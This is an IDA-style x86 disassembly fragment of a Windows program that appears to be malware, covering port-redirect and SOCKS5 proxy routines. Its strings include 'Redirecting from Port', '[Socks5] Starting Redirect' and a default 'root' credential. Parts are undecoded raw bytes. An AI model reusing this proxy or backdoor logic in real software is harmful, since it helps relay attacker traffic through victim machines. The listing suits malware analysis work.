		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42C9FA
		mov	ebx, dword_511CA4
		mov	ebp, dword_511CA0


loc_42C966:				; CODE XREF: sub_42C830+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx
		mov	edi, eax
		test	edi, edi
		jz	short loc_42C9FA
		jge	short loc_42C990
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42C9F2


loc_42C990:				; CODE XREF: sub_42C830+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx
		mov	edi, eax
		test	edi, edi
		jz	short loc_42C9FA
		jge	short loc_42C9CB
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jnz	short loc_42C9F2


loc_42C9CB:				; CODE XREF: sub_42C830+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42C966
		jmp	short loc_42C9FA
; ---------------------------------------------------------------------------


loc_42C9F2:				; CODE XREF: sub_42C830+15Ej
					; sub_42C830+199j
		push	0Ah
		nop
		call	near ptr 2830000h


loc_42C9FA:				; CODE XREF: sub_42C830+27j
					; sub_42C830+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, dword_511C9C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CA0E
		push	eax
		call	edi


loc_42CA0E:				; CODE XREF: sub_42C830+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42CA1C
		push	esi
		call	edi


loc_42CA1C:				; CODE XREF: sub_42C830+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_42C830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
		db  6Ah	; j
		db 0FFh
		db  68h	; h
		db  78h	; x
		db 0CFh	; 
		db  43h	; C
		db    0
		db  64h	; d
		db 0A1h	; 
		db    0
		db    0
		db    0
		db    0
		db  50h	; P
		db  64h	; d
		db  89h	; 
		db  25h	; %
		db    0
		db    0
		db    0
		db    0
		db  51h	; Q
		db  56h	; V
		db  8Bh	; 
		db 0F1h	; 
		db  89h	; 
		db  74h	; t
		db  24h	; $
		db    4
		db 0E8h	; 
		db 0CEh	; 
		db  54h	; T
		db 0FDh	; 
		db 0FFh
		db  68h	; h
		db  54h	; T
		db  4Dh	; M
		db  44h	; D
		db    0
		db  8Dh	; 
		db  4Eh	; N
		db  11h
		db 0C7h	; 
		db  44h	; D
		db  24h	; $
		db  14h
		db    0
		db    0
		db    0
		db    0
		db 0C7h	; 
		db    6
		db 0C0h	; 
		db 0F1h	; 
		db  43h	; C
		db    0
		db 0E8h	; 
		db 0F4h	; 
		db  4Ah	; J
		db 0FDh	; 
		db 0FFh
		db  8Bh	; 
		db  4Ch	; L
		db  24h	; $
		db    8
		db  8Bh	; 
		db 0C6h	; 
		db  5Eh	; ^
		db  64h	; d
		db  89h	; 
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  83h	; 
		db 0C4h	; 
		db  10h
		db 0C3h	; 
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CB20:				; CODE XREF: ___:loc_4015FAj
					; ___:00401FC8j
		push	esi
		mov	esi, ecx
		call	sub_401B9F
		test	byte ptr [esp+8], 1
		jz	short loc_42CB38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42CB38:				; CODE XREF: ___:0042CB2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42CB50	proc near		; CODE XREF: sub_401B9Fj
		jmp	sub_4017A8
sub_42CB50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CB70	proc near		; CODE XREF: sub_4019F1j

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42CB70
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		push	offset aSRedirectingFr ; "[%s] Redirecting from	Port %d	to '%s:%d"...
		mov	ecx, ebp
		call	sub_4014DD
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42CDA8
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42CC5B
		mov	edx, [esi+9Dh]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42CC5B:				; CODE XREF: sub_42CB70+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42CD54


loc_42CC6F:				; CODE XREF: sub_42CB70+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_42CD35
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+44h+var_34]
		lea	eax, [esp+44h+var_1C]
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42CD35
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42CD35
		push	0A9h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42CCD5
		mov	ecx, eax
		call	sub_40166D
		mov	edi, eax


loc_42CCD5:				; CODE XREF: sub_42CB70+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401FDC
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_401FDC
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_4013DE


loc_42CD35:				; CODE XREF: sub_42CB70+111j
					; sub_42CB70+133j ...
		push	0FAh
		nop
		call	near ptr 2830000h
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_42CC6F


loc_42CD54:				; CODE XREF: sub_42CB70+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CD66
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42CD66:				; CODE XREF: sub_42CB70+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_4017EE
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSFinishedRed_0 ; "[%s] Finished	redirecting from port %d "...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h


loc_42CDA8:				; CODE XREF: sub_42CB70+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42CB70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42CE60	proc near		; CODE XREF: sub_402202j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42CE60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_4019C4
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_42CE60	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+38h]
		push	12h
		push	edx
		call	sub_4019C4
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+3Ch]
		push	12h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+40h]
		push	12h
		push	eax
		call	sub_4019C4
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+44h]
		push	12h
		push	edx
		call	sub_4019C4
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+54h]
		push	12h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017EE
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D150:				; CODE XREF: ___:loc_40204Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43D0B4
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+84h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_42D2B7
		push	0A1h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
		dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h,	16A4C24h
		dd 11C85C6h, 50010000h,	9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
		dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 9050FFFDh
		dd 7EED1BE8h, 4C48377h,	48244C8Dh, 893B4789h, 80249Ch
		dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah
		dd 4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h
		dd 4C8DFFFDh, 9C894824h, 8024h,	3FDCE800h, 68FFFDh, 8D004446h
		dd 6A4C2454h, 0CE8B5203h, 0FD445BE8h, 0C7C88BFFh, 802484h
		dd 30000h, 7FE80000h, 50FFFD45h, 0ECA2E890h, 0C483777Eh
		dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h,	0FFFD3F9Ah
		dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 938E8Ah, 8F880000h
		dd 97h,	94968Ah, 0CF8B0000h, 989788h, 27E80000h
		db 41h,	0FDh, 0FFh
; ---------------------------------------------------------------------------


loc_42D2B7:				; CODE XREF: ___:0042D18Dj
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D3E7
		push	9Dh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 4
		jz	short loc_42D2FE
		mov	ecx, eax
		call	sub_401898
		mov	edi, eax
		jmp	short loc_42D300
; ---------------------------------------------------------------------------


loc_42D2FE:				; CODE XREF: ___:0042D2F1j
		xor	edi, edi


loc_42D300:				; CODE XREF: ___:0042D2FCj
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+58h]
		mov	dword ptr [esp+84h], 5
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+6Dh]
		mov	dword ptr [esp+84h], 6
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+82h]
		mov	dword ptr [esp+84h], 7
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013DE


loc_42D3E7:				; CODE XREF: ___:0042D2CAj
		lea	ecx, [ebp+60h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D510
		push	0A2h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 8
		jz	short loc_42D42E
		mov	ecx, eax
		call	sub_4018ED
		mov	edi, eax
		jmp	short loc_42D430
; ---------------------------------------------------------------------------


loc_42D42E:				; CODE XREF: ___:0042D421j
		xor	edi, edi


loc_42D430:				; CODE XREF: ___:0042D42Cj
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+80h], 9
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	offset aTrue	; "true"
		mov	ecx, eax
		mov	dword ptr [esp+84h], 0Ah
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		setz	byte ptr [esp+88h]
		call	sub_401226
		mov	al, [esp+88h]
		test	al, al
		jz	short loc_42D4DE
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_42D4E5
; ---------------------------------------------------------------------------


loc_42D4DE:				; CODE XREF: ___:0042D4D3j
		mov	byte ptr [edi+9Dh], 0


loc_42D4E5:				; CODE XREF: ___:0042D4DCj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_42D510:				; CODE XREF: ___:0042D3FAj
		lea	ecx, [ebp+8Eh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D5DD
		push	0A1h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 0Bh
		jz	short loc_42D55A
		mov	ecx, eax
		call	sub_40218A
		mov	edi, eax
		jmp	short loc_42D55C
; ---------------------------------------------------------------------------


loc_42D55A:				; CODE XREF: ___:0042D54Dj
		xor	edi, edi


loc_42D55C:				; CODE XREF: ___:0042D558j
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+80h], 0Ch
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013DE


loc_42D5DD:				; CODE XREF: ___:0042D526j
		lea	ecx, [ebp+0BCh]
		call	sub_4014DD
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+8Ch], edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D809
		lea	ecx, [esp+30h]
		call	sub_40142E
		lea	ecx, [esp+18h]
		mov	dword ptr [esp+80h], 0Dh
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+8Ch], 0Eh
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+80h], 0Fh
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+34h]
		call	sub_401A9B
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+80h], 10h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_401A9B
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+30h]
		call	sub_4014DD
		cmp	eax, offset byte_448F30
		jnz	short loc_42D6BF
		push	offset aRoot	; "root"
		lea	ecx, [esp+1Ch]
		call	sub_401A9B


loc_42D6BF:				; CODE XREF: ___:0042D6AFj
		lea	ecx, [esp+18h]
		call	sub_4014DD
		cmp	eax, offset byte_448F30
		jnz	short loc_42D6DD
		push	offset byte_448F30
		lea	ecx, [esp+1Ch]
		call	sub_401A9B


loc_42D6DD:				; CODE XREF: ___:0042D6CDj
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	edi, eax
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 11h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+34h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		mov	edi, dword_511B14
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+98h], 12h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+44h], esp
		push	eax
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	edx, [esp+94h]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0BCh], 13h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+0B0h], 15h
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		push	eax
		call	sub_401C2B
		add	esp, 34h
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 0Dh
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	[esp+80h], ebx
		call	sub_401226
		mov	edi, [esp+88h]


loc_42D809:				; CODE XREF: ___:0042D5FCj
		lea	ecx, [ebp+0EAh]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42D826
		mov	[ebp+11Ch], al


loc_42D826:				; CODE XREF: ___:0042D81Ej
		mov	ecx, [esp+78h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42DA00:				; CODE XREF: ___:004021CBj
		push	ecx
		mov	edx, dword_449A4D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_42DA21
		inc	ecx
		mov	[eax+118h], ecx


loc_42DA21:				; CODE XREF: ___:0042DA18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+4]
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DA80	proc near		; CODE XREF: sub_401E1Fj

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_438244
sub_42DA80	endp

; ---------------------------------------------------------------------------
		db 85h,	0C0h, 74h
		dd 900D8B19h, 5000511Ah, 6840C183h, 4473C8h, 64E89051h
		dd 83778133h, 0C4810CC4h, 190h,	909090C3h, 90909090h, 4	dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42DAD0:				; CODE XREF: ___:00401D8Ej
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42DAE3
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_42DAE3
		add	eax, 44h
		retn
; ---------------------------------------------------------------------------


loc_42DAE3:				; CODE XREF: ___:0042DAD6j
					; ___:0042DADDj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DB00	proc near		; CODE XREF: sub_401A7Dj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_12		= word ptr  16h

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		nop
		call	near ptr 77C46125h
		mov	ebp, eax
		push	3Ah
		push	ebp
		nop
		call	near ptr 77C47660h
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_42DB74
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_43828C
; ---------------------------------------------------------------------------
		dd 6C75C33Bh, 44741C68h, 8BE89000h, 83778092h, 0C03304C4h
		dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------


loc_42DB74:				; CODE XREF: sub_42DB00+47j
		mov	[esi], bl
		mov	eax, dword_511A7C
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_42DB92
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		nop
		call	near ptr 77C1C561h
		add	esp, 8
		jmp	short loc_42DBA2
; ---------------------------------------------------------------------------


loc_42DB92:				; CODE XREF: sub_42DB00+7Fj
		mov	eax, dword_511B1C
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_42DBA2:				; CODE XREF: sub_42DB00+90j
		cmp	eax, ebx
		jz	short loc_42DBBD
		push	esi
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		push	eax
		call	sub_43822C
; ---------------------------------------------------------------------------
		mov	[esp+arg_12], ax
		jmp	short sub_42DBD1
; ---------------------------------------------------------------------------


loc_42DBBD:				; CODE XREF: sub_42DB00+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_43828C
sub_42DB00	endp

; ---------------------------------------------------------------------------
		mov	dx, [eax+8]
		mov	[esp+16h], dx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DBD1	proc near		; CODE XREF: sub_42DB00+BBj
		push	ebp
		call	sub_4381EA
sub_42DBD1	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h], eax
		jnz	short loc_42DC1D
		push	ebp
